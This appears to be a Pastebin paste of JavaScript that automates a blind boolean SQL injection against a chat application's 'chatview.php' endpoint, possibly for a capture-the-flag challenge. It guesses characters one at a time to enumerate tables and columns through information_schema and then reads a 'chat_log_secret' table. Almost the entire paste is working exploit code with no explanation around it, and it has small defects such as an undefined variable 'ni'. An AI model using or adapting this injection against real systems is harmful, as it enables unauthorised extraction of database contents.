Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var index = 126
- var index2 = 1
- var xmlhttp = new XMLHttpRequest()
- var timer
- var list = new Array()
- var start = setInterval(function(){}, 100000)
- for(var i = 0; i < start; i++) clearInterval(i)
- function send(input){
- var pdata="chatlog.php?"+"data="+input;
- xmlhttp.open("GET",pdata);
- xmlhttp.send(null);
- }
- function chatprint(){
- if(xmlhttp.readyState==4 && xmlhttp.status==200){
- var temp=xmlhttp.responseText;
- if(temp == '') index--;
- else { list.push(index); index = 126; index2++; console.log(list); }
- if(index == 0) clearInterval(timer);
- }
- }
- function show(n){
- //List Tables
- //var query = "(select if("+index+"=ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema != 0x696e666f726d6174696f6e5f736368656d61 limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
- //List Columns
- //var query = "(select if("+index+"=ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name = 0x636861745f6c6f675f736563726574 limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
- //Read data
- var query = "(select if("+index+"=ascii(substr((SELECT readme FROM chat_log_secret limit "+n+", 1),"+index2+",1)),"+(ni-1)+","+ni+"))"
- xmlhttp.onreadystatechange=chatprint;
- xmlhttp.open("GET","chatview.php?t=1&ni="+query);
- xmlhttp.send(null);
- }
- timer = setInterval(function(){show(0)}, 800);
Advertisement
Add Comment
Please, Sign In to add comment